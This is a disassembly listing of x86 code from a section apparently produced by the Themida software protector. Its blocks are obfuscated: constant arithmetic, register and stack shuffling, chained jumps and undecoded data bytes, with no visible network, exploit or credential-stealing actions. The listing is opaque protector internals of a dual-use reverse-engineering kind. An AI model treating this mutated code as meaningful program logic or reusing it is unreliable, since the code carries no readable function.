loc_562FAA:				; CODE XREF: Themida_:00567043j
		xchg	dh, ah
		xchg	ah, bh
		jmp	loc_572204
; ---------------------------------------------------------------------------


loc_562FB3:				; CODE XREF: Themida_:0057262Ej
		push	esi
		mov	esi, 6383481h
		push	ebx
		mov	ebx, 435A00BFh
		not	ebx
		shr	ebx, 6
		neg	ebx
		inc	ebx
		sub	ebx, 8C3E49CCh
		sub	ecx, ebx
		jmp	loc_572A50
; ---------------------------------------------------------------------------
		dd 0DA0E20BFh, 96F7811Ah, 52539177h, 5C3C89BAh,	45C9E95Eh
		dd 34FF0000h, 0F6E95A24h, 58000073h, 4C481h, 6E680000h
		dd 0E900000Bh, 0FFFFE808h
; ---------------------------------------------------------------------------


loc_563004:				; CODE XREF: Themida_:0056CBF9j
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_560A48
; ---------------------------------------------------------------------------
		dw 0DDF7h
		dd 0C218E9h, 5BD82900h,	67FAE9h
		db 0
; ---------------------------------------------------------------------------


loc_563029:				; CODE XREF: Themida_:00564C7Aj
		pop	ecx
		sub	esp, 4
		mov	[esp], esi
		push	399Dh
		mov	[esp], edi
		jmp	loc_564F74
; ---------------------------------------------------------------------------
		dd 59240CFFh, 0CFDDE951h, 248B0000h, 24048924h,	0E9535854h
		dd 4BB9h, 8124048Bh, 4C4h, 0C1D6F700h, 53E903EEh
		db 46h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56306B:				; CODE XREF: Themida_:00566178j
		neg	esi
		jmp	loc_56194C
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 53FC2A99h, 0EB81CB29h, 53FC2A99h, 243C8B59h,	4C481h
		dd 0BE560000h, 0E9C36EBh, 0F56EE9h
		db 0
; ---------------------------------------------------------------------------


loc_563095:				; CODE XREF: Themida_:00571BC6j
		push	ebp
		push	edi
		mov	edi, 6D1B548Eh
		jmp	loc_57140F
; ---------------------------------------------------------------------------
		db 83h,	0C5h, 4
		dd 0EB87E9h
		db 0
; ---------------------------------------------------------------------------


loc_5630A9:				; CODE XREF: Themida_:0056B99Fj
		add	esp, 4
		push	ebx
		mov	ebx, 3B2920A8h
		not	ebx
		sub	ebx, 3E944C8Ah
		shl	ebx, 7
		xor	ebx, 51756E20h
		mov	esi, ebx
		pop	ebx
		xor	esi, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_57219B
; ---------------------------------------------------------------------------
		dw 0EA81h
		dd 44C1192Fh, 0DFE1E9h,	24248B00h, 0C8AF0F66h, 0E99C5166h
		dd 0FFFFA1FDh
; ---------------------------------------------------------------------------


loc_5630F0:				; CODE XREF: Themida_:00569FBAj
		push	5E8B285Ah
		mov	edx, [esp]
		add	esp, 4
		xor	edi, edx
		pop	edx
		sub	edi, 0CF07BFBh
		jmp	loc_56B79B
; ---------------------------------------------------------------------------
aIS6f		db ')К]И6■',0
		align 4
		dd 0EE47E95Ah, 815FFFFFh, 576C97EAh, 81CA014Bh,	576C97C2h
		dd 0E2BB534Bh, 8153926Ch, 2B089AEBh, 0FA55E9E7h, 5F59FFFFh
		dd 0E959CB01h, 5700h
; ---------------------------------------------------------------------------


loc_563144:				; CODE XREF: Themida_:00561305j
		pop	ebp
		push	esi
		push	eax
		mov	eax, 546715Eh
		xor	eax, 4A414ACBh
		dec	eax
		add	eax, 743BB110h
		mov	esi, eax
		pop	eax
		jmp	loc_5645AF
; ---------------------------------------------------------------------------
		db 81h
		dd 4C5h, 2C58300h, 0E9242C33h, 73DAh, 0F20980BFh, 28CF8121h
		dd 815DA000h, 866851CFh, 0E0E5E908h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_563186:				; CODE XREF: Themida_:0055E1EFj
		add	edx, ebx
		pop	ebx
		sub	ebp, edx
		pop	edx
		jmp	loc_566ECC
; ---------------------------------------------------------------------------
		db 89h,	34h, 24h
		dd 0E904EC83h, 35ABh, 0C3815B54h, 4, 8704C383h,	565C241Ch
		dd 9644A9BEh, 68FAE963h, 4ABB0000h, 0E9233009h,	0C4FCh
		dd 0D9F74959h, 7079C181h, 0CF897311h, 6DBD5559h, 2138DC02h
		dd 0D7F75DEFh, 5585E9h,	207E6800h, 1C890000h, 81E38924h
		dd 4C3h, 0D8F0E900h, 0F181FFFFh, 0B0C2C2BAh, 6A4C581h
		dd 60E96BA7h, 87000022h, 248B2434h, 0D9F78124h,	56CDC2B2h
		dd 1AEEE9h, 0E7895700h,	0FFB7BEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56321D:				; CODE XREF: Themida_:0056A73Ej
		sub	edi, 16F46091h
		neg	edi
		xor	edi, 20CD0C5Dh
		and	edi, 368028D1h
		not	edi
		push	edx
		mov	edx, 20B6B9BBh
		add	edi, edx
		pop	edx
		add	edx, edi
		mov	edi, [esp]
		add	esp, 4


loc_563244:				; CODE XREF: Themida_:00561045j
					; Themida_:00567D89j
		push	dword ptr [edi+24h]
		mov	ecx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	esp, 4
		jmp	loc_560D0F
; ---------------------------------------------------------------------------
		dw 48Bh
		dd 4EC8124h, 89000000h,	5B54241Ch, 38CDBF57h, 0C7812CECh
		dd 0FFFFFFFFh, 8106EFC1h, 4ECh,	242C8900h, 0D83EF5BDh
		dd 0BFC58147h, 513B4A12h, 7827BA52h, 0D18972F7h, 59CD295Ah
		dd 0D629E9h, 259E6800h,	0E9587A9Dh, 12A0h, 6484B850h, 0B90D5305h
		dd 0D288978h, 55CA3AFDh, 590B7D25h, 0A792D6Ah, 38E96A49h
		dd 0BFFFFFC2h, 293A5FFEh, 1EF814Fh, 81000000h, 0A4483AF7h
		dd 0A6EDE951h, 0F180FFFFh, 0E0C1801Dh, 0C8BC800h, 0E3895324h
		dd 4C381h, 0C3810000h, 4, 5C241C87h, 8F49E9h
		db 0
; ---------------------------------------------------------------------------


loc_563305:				; CODE XREF: Themida_:0055EAA0j
		xor	ebp, eax
		xor	eax, ebp
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		jmp	loc_568DB3
; ---------------------------------------------------------------------------
		dw 0C289h
		dd 0FFEF54E9h, 0D4F781FFh, 1557241h, 22F0E9F8h,	0EA810000h
		dd 25163A13h, 2414875Dh, 240C895Ch, 2B9h, 49E10500h, 0E8E96445h
		dd 0F7FFFFD8h, 7CE981D9h, 0E963589Fh, 0FFFFDA21h, 3B85B850h
		dd 0FF053079h, 0F7FFFFFFh, 18025D0h, 5A2D224Ch,	0C163B148h
		dd 440505E0h, 2935A90Bh, 0C3358C1h, 6D76E924h, 44810000h
		dd 20410424h, 5D5D7716h, 4C581h, 0EC830000h, 241C8904h
		dd 228FE9h
		db 0
; ---------------------------------------------------------------------------


loc_5633A1:				; CODE XREF: Themida_:00565A57j
		push	edx
		mov	dl, 0C7h
		and	dl, 39h
		push	ebx
		mov	bl, 9Dh
		shl	bl, 3
		push	eax
		mov	al, 30h
		xor	bl, al
		jmp	loc_56EBA9
; ---------------------------------------------------------------------------
		db 66h
		dd 83240C31h, 148904ECh, 0E95A5424h, 9E19h, 3065ED81h
		dd 0E5C1273Bh, 0AFA5E906h, 0F3290000h, 5BDA015Eh, 57FF68h
		dd 241C8900h, 2BBh, 0CF31E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5633EE:				; CODE XREF: Themida_:0055F173j
		mov	ecx, 1
		push	20DDh
		jmp	loc_56A4AF
; ---------------------------------------------------------------------------
		db 8Bh,	2Ch, 24h
		dd 4C481h, 0B8500000h, 4, 48BC501h, 0AA4CE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563416:				; CODE XREF: Themida_:0056FE67j
		mov	eax, [esp]
		push	ecx
		push	esp
		pop	ecx
		jmp	loc_56D482
; ---------------------------------------------------------------------------
		db 0F7h, 0D3h, 81h
		dd 0CC13D9C3h, 0F38142h, 816B1C43h, 0E1B3C4F3h,	624C6817h
		dd 1C890000h, 9895E924h, 0CDFE0000h, 6866h, 0E9242C28h
		dd 0FFFFCEC7h, 5E08950h, 4, 8704C083h, 815C2404h, 4ECh
		dd 242C8900h, 0C581E589h, 4, 4C581h, 2C870000h,	0D767E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56347E:				; CODE XREF: Themida_:0055E2C1j
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_564153
; ---------------------------------------------------------------------------


loc_563490:				; CODE XREF: Themida_:0055E9B2j
		add	esi, ebx
		jmp	loc_569B2F
; ---------------------------------------------------------------------------


loc_563497:				; CODE XREF: Themida_:00568E67j
		mov	[esp], ecx
		mov	ecx, 97705DCh
		push	edx
		jmp	loc_56A14D
; ---------------------------------------------------------------------------
		db 1, 0C1h, 58h
		dd 0C8BCA31h, 4C48324h,	418EBB53h, 0EB8152D0h, 33B444D3h
		dd 188EEB81h, 0DBF709E8h, 0FFC1A8E9h, 0E95257FFh, 59FAh
		dd 4C2815Ah, 0E9000000h, 8ADCh
; ---------------------------------------------------------------------------


loc_5634DC:				; CODE XREF: Themida_:00568291j
		push	edx
		jmp	loc_566F07
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 2D78E904h, 0E8000000h, 0FFBAD0E9h, 3034B5FFh, 53E959EBh
		dd 410000A4h, 40A3E981h, 0EBE95543h, 54FFFFFCh,	8324048Fh
		dd 0FF042404h, 815F2434h, 4C4h,	79AAE900h, 0E6890000h
		dd 4C681h, 59E90000h, 8B00009Ch, 0D5E9241Ch, 80FFFFE6h
		dd 0D1E901C5h, 81000057h, 4E15F6F3h, 0E6F38148h, 8104855Ah
		dd 0C01355F3h, 0A4C38129h, 898121ACh, 0DB82E9DDh, 8EE90000h
		dd 81FFFF9Dh, 731727E9h, 7C8AE94Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56356A:				; CODE XREF: Themida_:0056A455j
		push	eax
		jmp	loc_5625A1
; ---------------------------------------------------------------------------
aWs		db '[WИ(╨',0
		dw 5700h
		dd 0BD55E789h, 66FF4261h, 4265F581h, 23E966FFh,	5A00006Bh
		dd 0C588A334h, 0E92434FFh, 9D0Eh
; ---------------------------------------------------------------------------


loc_563598:				; CODE XREF: Themida_:00560D0Aj
		push	eax
		push	43606800h
		pop	eax
		push	esi
		jmp	loc_5684F6
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 0F5h
		dd 0E9C0314Fh, 0FFFFA3CCh
; ---------------------------------------------------------------------------


loc_5635B0:				; CODE XREF: Themida_:00567CD5j
		mov	edx, esp
		push	esi
		jmp	loc_56BA7B
; ---------------------------------------------------------------------------
		dd 5B241C29h, 248EC381h, 0DA011550h, 4C2815Bh, 52000000h
		dd 42474FFh, 5724148Bh,	0EAE9E789h, 3100001Bh, 242C8BEFh
		dd 0E28AE9h, 0E951AC00h, 0AD0Ch
; ---------------------------------------------------------------------------


loc_5635EC:				; CODE XREF: Themida_:0056463Aj
		xchg	edx, [esp]
		pop	esp
		add	esp, 4
		sub	esp, 4
		jmp	loc_569B1F
; ---------------------------------------------------------------------------


loc_5635FE:				; CODE XREF: Themida_:0056F5CFj
		push	eax
		mov	eax, 3D8F2830h
		mov	edx, eax
		pop	eax
		jmp	loc_5666A6
; ---------------------------------------------------------------------------


loc_56360C:				; CODE XREF: Themida_:00561599j
		push	dword ptr [esp]
		jmp	loc_56D2AC
; ---------------------------------------------------------------------------


loc_563614:				; CODE XREF: Themida_:005720E6j
		add	eax, 68807D99h
		or	eax, 39C12792h
		inc	eax
		or	eax, 5611A9Dh
		push	ebp
		jmp	loc_56AC58
; ---------------------------------------------------------------------------
		dw 1C33h
		dd 241C3124h, 99E9E9h, 40F28100h, 81413230h, 12B406C2h
		dd 5AD701DEh, 4EF81h, 0EC810000h, 4, 0FFA045E9h, 0AAB951FFh
		dd 684C135Fh, 13DDh, 0E9243489h, 0FFFFB5CCh, 4EC81h, 2C890000h
		dd 81E58924h, 4C5h, 4C58100h, 33000000h, 2C31242Ch, 5732E924h
		dd 0D4B90000h, 0E96C755Eh, 0C576h, 111667BDh, 8ED813Eh
		dd 0D153905Bh, 9CD81E5h, 81358075h, 0A71AEDC5h,	53C58113h
		dd 0E90DA3DCh, 0C0E9h
; ---------------------------------------------------------------------------


loc_5636B8:				; CODE XREF: Themida_:00570568j
		mov	[esp], eax
		jmp	loc_56442D
; ---------------------------------------------------------------------------
		dd 2DD00159h, 19D71201h, 0D9EFE95Ah, 66580000h,	83240C8Bh
		dd 0EB8002C4h, 6EB8072h, 0C380C300h, 72C38006h,	76E95166h
		db 0BEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5636EB:				; CODE XREF: Themida_:0056CD86j
		pop	eax
		not	eax
		sub	eax, 80586369h
		push	5FA6h
		mov	[esp], eax
		sub	dword ptr [esp], 649C1BE4h
		pop	edx
		add	edx, 649C1BE4h
		pop	eax
		shr	edx, 7
		neg	edx
		neg	edx
		jmp	loc_569A24
; ---------------------------------------------------------------------------


loc_563716:				; CODE XREF: Themida_:0055F03Aj
		mov	[esp], eax
		mov	eax, 76BC4403h
		jmp	loc_56C7AA
; ---------------------------------------------------------------------------


loc_563723:				; CODE XREF: Themida_:0056B0F5j
		xchg	edx, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, 5AAD39D8h
		jmp	loc_56A9BE
; ---------------------------------------------------------------------------
		dd 0B13C02BFh, 0E9FE8966h, 0AC82h
; ---------------------------------------------------------------------------


loc_563740:				; CODE XREF: Themida_:0056B3ACj
		pop	edx
		add	ebx, 690635EBh
		jmp	loc_5614DD
; ---------------------------------------------------------------------------
a3Sv		db '3<$Иvк',0
		align 4
		dd 0B604A005h, 2DD0291Eh, 1EB604A0h, 8324148Bh,	835E04C4h
		dd 48904ECh, 2474FF24h,	48F5804h, 24248B24h, 240C8B66h
		dd 0FFBD8CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_563781:				; CODE XREF: Themida_:00560376j
		add	eax, 73140975h
		push	dword ptr [esp]
		pop	edi
		jmp	loc_55F638
; ---------------------------------------------------------------------------
		db 58h
		dd 8158C289h, 0E7461EFh, 81D7016Dh, 0E7461C7h, 24148B6Dh
		dd 14E95450h, 81000081h, 4C4h, 4EC8300h, 89241C89h, 4C381E3h
		dd 83000000h, 1C8704C3h, 0CB31E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5637CA:				; CODE XREF: Themida_:00565A72j
		add	esp, 4
		mov	eax, [esp]
		jmp	loc_5668B9
; ---------------------------------------------------------------------------
		db 8Bh,	14h, 24h
		dd 4C481h, 0C2810000h, 4, 53555250h, 2BBh, 5BDD8900h, 895DEA89h
		dd 0C6EBE9D0h, 505A0000h, 20D4AB8h, 0E9D8F73Fh,	2438h
; ---------------------------------------------------------------------------


loc_563808:				; CODE XREF: Themida_:005666AEj
		pop	ecx
		push	eax
		mov	eax, esp
		add	eax, 4
		push	ecx
		mov	ecx, 4
		add	eax, ecx
		pop	ecx
		xchg	eax, [esp]
		pop	esp
		xor	ecx, 3D8F2830h
		jmp	loc_56B9CD
; ---------------------------------------------------------------------------
		db 80h,	0E2h, 71h
		dd 80AEE280h, 93E91BEAh
		db 1Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_563837:				; CODE XREF: Themida_:00567D4Ej
		sub	edx, ecx
		pop	ecx
		add	edx, 18D9761Eh
		push	ebp
		mov	ebp, edx
		mov	edi, ebp
		pop	ebp
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5697C7
; ---------------------------------------------------------------------------
		db 81h,	4, 24h
		dd 4, 0BA52575Bh, 4, 15AD789h, 56555FFBh, 0D06AA3BEh, 0DB3CBD0Ah
		dd 0F50156A2h, 0E924348Bh, 2796h, 96C2815Bh, 51454A33h
		dd 1A7D14B9h, 0C9F18152h, 0F70D0101h, 46C181D9h, 815DE247h
		dd 4D8369C1h, 59CA0152h, 0EA81C229h, 51144DD2h,	3396BE56h
		dd 0F229454Ah, 2C5C685Eh, 4890000h, 57CC6824h, 2AE90000h
		db 0ECh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5638C3:				; CODE XREF: Themida_:0055FBD3j
		sub	esi, edx
		mov	edx, [esp]
		jmp	loc_55DCD8
; ---------------------------------------------------------------------------


loc_5638CD:				; CODE XREF: Themida_:00571E21j
		pop	esi
		add	edx, 4
		jmp	loc_569F1E
; ---------------------------------------------------------------------------


loc_5638D9:				; CODE XREF: Themida_:005697B8j
		pop	edx
		push	ecx
		mov	ecx, 11444B99h
		inc	ecx
		xor	ecx, 66A82386h
		sub	ecx, 74B78FECh
		sub	edx, ecx
		pop	ecx
		jmp	loc_56B3AA
; ---------------------------------------------------------------------------


loc_5638F5:				; CODE XREF: Themida_:00566393j
		add	esi, 5C76DE0Ch
		sub	eax, esi
		pop	esi
		push	7F2Dh
		mov	[esp], esi
		mov	esi, 2B3754C0h
		jmp	loc_5694C7
; ---------------------------------------------------------------------------


loc_563910:				; CODE XREF: Themida_:0056E07Bj
		add	ebx, 4
		jmp	loc_56DD8E
; ---------------------------------------------------------------------------
		db 59h
		dd 68E1CD81h, 68E92725h, 81FFFFC8h, 4C4h, 24048F00h, 0FFCA98E9h
		dd 6022DFFh, 5F5D5B3Ah,	5C240487h, 2896664h, 0FF99A4E9h
		dd 4C483FFh, 5C24048Fh,	0B60DE9h
		db 0
; ---------------------------------------------------------------------------


loc_563955:				; CODE XREF: Themida_:0056281Fj
		mov	esi, 28634141h
		add	esi, 749142F9h
		add	esi, 740A3D67h
		or	esi, 50863B43h
		add	esi, 3EAB75C6h
		sub	esi, 65FE3B31h
		jmp	loc_56149A
; ---------------------------------------------------------------------------
		db 31h,	0Ch, 24h
		dd offset dword_49005C+2338Dh
		db 0
; ---------------------------------------------------------------------------


loc_563985:				; CODE XREF: Themida_:00563CE2j
		mov	esi, 4
		jmp	loc_563FE7
; ---------------------------------------------------------------------------


loc_56398F:				; CODE XREF: Themida_:00560BACj
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		and	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		shr	ecx, 0Ah
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		jmp	loc_564740
; ---------------------------------------------------------------------------
		dd 1C50BB53h, 0B2E9437Fh, 810000EEh, 980646C6h,	4EEC142h
		dd 46DBEE81h, 0F101C844h, 868FE95Eh, 0D8010000h, 4055Bh
		dd 4870000h, 0BE565C24h, 44F36653h, 0FFE3FBE9h,	2404FFFFh
		dd 98F7E99Ch, 1368FFFFh, 89000013h, 2B9240Ch, 81000000h
		dd 697286EFh, 55CF0168h, 0EC7E63BDh, 5031E902h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_563A16:				; CODE XREF: Themida_:0057016Bj
		xor	dword ptr [esp], 7FA42124h
		pop	esi
		push	5E69h
		mov	[esp], edi
		mov	edi, 4345631Fh
		push	ebp
		mov	ebp, 0FFFFFFFFh
		add	edi, ebp
		pop	ebp
		shr	edi, 8
		push	eax
		mov	eax, 73F14C8Ah
		shl	eax, 4
		neg	eax
		or	eax, 59BD5E0Bh
		add	eax, 3117932Fh
		jmp	loc_565782
; ---------------------------------------------------------------------------
		db 83h,	4, 24h
		dd 0CE16E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563A5A:				; CODE XREF: Themida_:00566FAEj
		not	esi
		and	esi, 5CE82B96h
		jmp	loc_56E54D
; ---------------------------------------------------------------------------
		db 89h
		dd 4C381E3h, 56000000h,	56D1E9h, 7E1C000h, 0DAF6D186h
		dd 0C1FED186h, 0E936C180h, 92BAh, 1BDAE948h, 0E9510000h
		dd 3DC5h, 8904EC83h, 148B240Ch,	4C48324h, 0C7C28159h, 1246027h
		dd 0C7EA81DAh, 88246027h, 6BE95A02h
		db 0A2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563AB7:				; CODE XREF: Themida_:0056A279j
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_56536C
; ---------------------------------------------------------------------------


loc_563AC2:				; CODE XREF: Themida_:0056C92Bj
		pop	edx
		xchg	ebp, [esp]
		pop	esp
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0EC832404h, 241C8904h, 0B8505B54h, 9D16243h,	4005D0F7h
		dd 0C12F1557h, 0BD5502E8h, 669F4A4Ah, 7976ED81h, 0B9515A53h
		dd 3F8F2562h, 0FFA709E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_563B05:				; CODE XREF: Themida_:005726F0j
		mov	ebp, 4
		add	eax, ebp
		jmp	loc_56BDE0
; ---------------------------------------------------------------------------


loc_563B11:				; CODE XREF: Themida_:00570B45j
		push	edx
		mov	edx, 1
		sub	ebx, 0EBB28DDh
		sub	ebx, edx
		add	ebx, 0EBB28DDh
		mov	edx, [esp]
		add	esp, 4
		push	ebp
		jmp	loc_562D52
; ---------------------------------------------------------------------------


loc_563B34:				; CODE XREF: Themida_:00566FF3j
		pop	esi
		inc	ebx
		not	ebx
		or	ebx, 344138E7h
		jmp	loc_571190
; ---------------------------------------------------------------------------
		db 0F7h
		dd 0E9DFF7D7h, 12BCh, 0E9243C89h, 0FFFFE00Dh
; ---------------------------------------------------------------------------


loc_563B54:				; CODE XREF: Themida_:0056F481j
		add	edx, ecx
		pop	ecx
		jmp	loc_564717
; ---------------------------------------------------------------------------


loc_563B5C:				; CODE XREF: Themida_:0056908Aj
		mov	[esp], edx
		push	4F5h
		mov	[esp], edi
		jmp	loc_569FAE
; ---------------------------------------------------------------------------


loc_563B6C:				; CODE XREF: Themida_:00560A66j
		add	ebp, eax
		pop	eax
		add	edi, 67D00A6Fh
		add	edi, 767379FDh
		push	ebp
		mov	ebp, 74BB6FC9h
		add	edi, ebp
		pop	ebp
		add	edi, 6CCD67D7h
		add	edi, ebp
		sub	edi, 6CCD67D7h
		push	ebp
		jmp	loc_564687
; ---------------------------------------------------------------------------


loc_563B98:				; CODE XREF: Themida_:0055F026j
		mov	[esp], eax
		push	edi
		mov	edi, 24h
		mov	eax, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_55DF8A
; ---------------------------------------------------------------------------


loc_563BB1:				; CODE XREF: Themida_:0055DA2Fj
		pop	edx
		shl	ebx, 4
		inc	ebx
		push	edi
		mov	edi, 31EE2A5Ch
		and	ebx, edi
		pop	edi
		jmp	loc_564260
; ---------------------------------------------------------------------------
a1434Sbu	db '14$34$И│U',0
		dw 5100h
		dd 0C181E189h, 4, 8704E983h, 895C240Ch,	6BB5240Ch, 8054ED80h
		dd 0EDC0F0EDh, 1AE95204h
		db 0D5h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_563BF3:				; CODE XREF: Themida_:00571EBDj
		add	esp, 4
		and	ecx, edi
		mov	edi, [esp]
		push	ebx
		push	esp
		pop	ebx
		push	ecx
		mov	ecx, 13418B1h
		neg	ecx
		xor	ecx, 0FECBE74Bh
		add	ebx, ecx
		pop	ecx
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		shr	ecx, 2
		jmp	loc_56D6CE
; ---------------------------------------------------------------------------
aSsrg		db 'SИrg',0
		dd 0DCF65A00h, 95EC80h,	0B5E958E6h
		db 0E7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563C37:				; CODE XREF: Themida_:005650F2j
		add	esp, 4
		pop	ecx


loc_563C3B:				; CODE XREF: Themida_:0055D33Aj
		push	ebx
		jmp	loc_562B67
; ---------------------------------------------------------------------------
		db 52h,	0B6h, 0E7h
		dd 0E95AF588h, 2155h, 0F8E1E95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563C52:				; CODE XREF: Themida_:00562E7Ej
		push	2879h
		mov	[esp], edi
		push	edx
		jmp	loc_55DD60
; ---------------------------------------------------------------------------
		dd 9D1C77FFh, 1CD35966h, 93E99C24h, 81000006h, 0A314B7EDh
		dd 9544E928h, 8B660000h, 7D682404h, 89000077h, 0C8E92404h
		dd 57000006h, 0CDD6E9h,	0C4815800h, 4, 20AA68h,	240C8900h
		dd 7F43E9h
		db 0
; ---------------------------------------------------------------------------


loc_563CA5:				; CODE XREF: Themida_:005688D7j
		push	ebx
		push	ebx
		mov	ebx, 0FFFFFFFFh
		sub	[esp+4], ebx
		pop	ebx
		jmp	loc_56AFCD
; ---------------------------------------------------------------------------
		dw 0F581h
aNuTsN		db 'nН\TИ(█',0
		db 0
; ---------------------------------------------------------------------------


loc_563CC1:				; CODE XREF: Themida_:0056BA3Ej
		push	dword ptr [esp]
		mov	ebp, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	edi
		mov	edi, esp
		push	53A1h
		mov	[esp], esi
		jmp	loc_563985
; ---------------------------------------------------------------------------
		db 5Bh
		dd 5C240C87h, 56242489h, 407C29BEh, 55C68156h, 816E7F57h
		dd 0C9F9EBF6h, 0D4BD55C3h, 9278D5Dh, 0CE815DEEh, 13EE49FDh
		dd 8102E6C1h, 0BA0BA6C6h, 1C68140h, 81000000h, 0B80B9FF6h
		dd 24448120h, 112DCA04h, 24740170h, 246C8104h, 112DCA04h
		dd 81595E70h, 4C1h, 22D7E900h, 0C2810000h, 65A13E35h, 0EA81CA01h
		dd 65A13E35h, 83240C8Bh, 0FF5204C4h, 5A042474h,	5C24048Fh
		dd 243CD366h, 3BBDE99Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_563D6E:				; CODE XREF: Themida_:005665EFj
		push	dword ptr [eax]
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------
		db 89h,	0E7h, 81h
		dd 4C7h, 602DE900h, 0E1680000h,	89000043h, 0A9B7241Ch
		dd 0EF80D7F6h, 3EFC0B0h, 1FE9CFFEh, 8900006Eh, 9C502414h
		dd 0FF9548E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_563DA5:				; CODE XREF: Themida_:0056F01Aj
		xor	ebx, ebp
		pop	ebp
		push	edi
		push	eax
		push	edi
		mov	edi, 661E4DE1h
		mov	eax, edi
		pop	edi
		push	ecx
		mov	ecx, 0FBE9C2FFh
		mov	edi, ecx
		pop	ecx
		add	edi, eax
		jmp	loc_565B86
; ---------------------------------------------------------------------------


loc_563DC3:				; CODE XREF: Themida_:00566B73j
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_572708
; ---------------------------------------------------------------------------
		db 81h,	0C5h, 47h
		dd 1926501h, 38055DE8h,	0E9C6C9C7h, 0AA69h, 0E904C483h
		dd 3F70h, 0BA5DE889h, 539721EFh, 0F7C28142h, 31F6873Ch
		dd 24048BC2h, 7B04E9h, 0AB0F6600h, 0E99C2404h, 0D697h
		dd 0FA9E581h, 0EDC11D4Bh, 0FBC58108h, 89FFF7F7h, 0F0895DEEh
		dd 56C9E95Eh, 0F7660000h, 0FD3166D7h, 66EF3166h, 3166FD31h
		dd 0CD3166E9h, 0FFE114E9h, 0B60F66FFh, 0B630E902h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563E4A:				; CODE XREF: Themida_:0055E1F8j
		pop	eax
		pop	eax
		sub	eax, 0D040F6Bh
		jmp	loc_561CC6
; ---------------------------------------------------------------------------
		dw 8159h
		dd 4C4h, 948BE900h, 58BEFFFFh, 21060D58h, 24348BF2h, 4C481h
		dd 0E2810000h, 18066FDCh, 0BFBE5653h, 0E9136E5Bh, 0FFFFD7DDh
		dd 10E9E089h, 0BE0000D6h, 1FEC42DCh, 0C1D6F74Eh, 9EE906E6h
		dd 0BF000090h, 621AE00Ch, 39F1E9h, 4EC8100h, 0E9000000h
		dd 9514h, 54240489h, 4EC8358h, 0FFE510E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_563EBD:				; CODE XREF: Themida_:0056A610j
		push	4
		pop	esi
		sub	eax, esi
		mov	esi, [esp]
		push	edi
		jmp	loc_56E15F
; ---------------------------------------------------------------------------
		dw 166h
		dd 4EC81F0h, 89000000h,	0BF66243Ch, 81662834h, 0E9E872EFh
		dd 0FFFFB352h, 8924248Bh, 94B22414h, 81B4EA80h,	2ECh, 0C896600h
		dd 9586E924h, 0C4830000h, 576F6804h, 14890000h,	6F346824h
		dd 13E90000h, 1FFFFC8h,	2BED81DDh, 8B3D7D5Fh
		db 1Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, 0D5945D6h
		not	ecx
		and	ecx, 7C7C780Eh
		add	ecx, 5F496DE9h
		push	edi
		mov	edi, 5027289Ah
		jmp	loc_55D86F
; ---------------------------------------------------------------------------
		dd 8647C781h, 0F989F2EFh, 98E9815Fh, 8121AB0Ch,	496AFBE1h
		dd 6E1C139h, 18B6E181h,	0F18126EAh, 7E941CCDh, 8B59CD01h
		dd 5451243Ch, 4C18159h,	81000000h, 4C1h, 240C8700h, 5DB7E95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_563F86:				; CODE XREF: Themida_:005725E3j
		sub	edi, ebp
		jmp	loc_564925
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 592434FFh, 0FFB464E9h, 5A5952FFh, 0E959C829h, 3C39h
		dd 0FF9344E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_563FA9:				; CODE XREF: Themida_:005617F8j
		sub	eax, 26FB71B6h
		jmp	loc_566618
; ---------------------------------------------------------------------------
		db 66h
		dd 8124148Bh, 2C4h, 5FF78000h, 34FFF800h, 0E015E924h, 0E952FFFFh
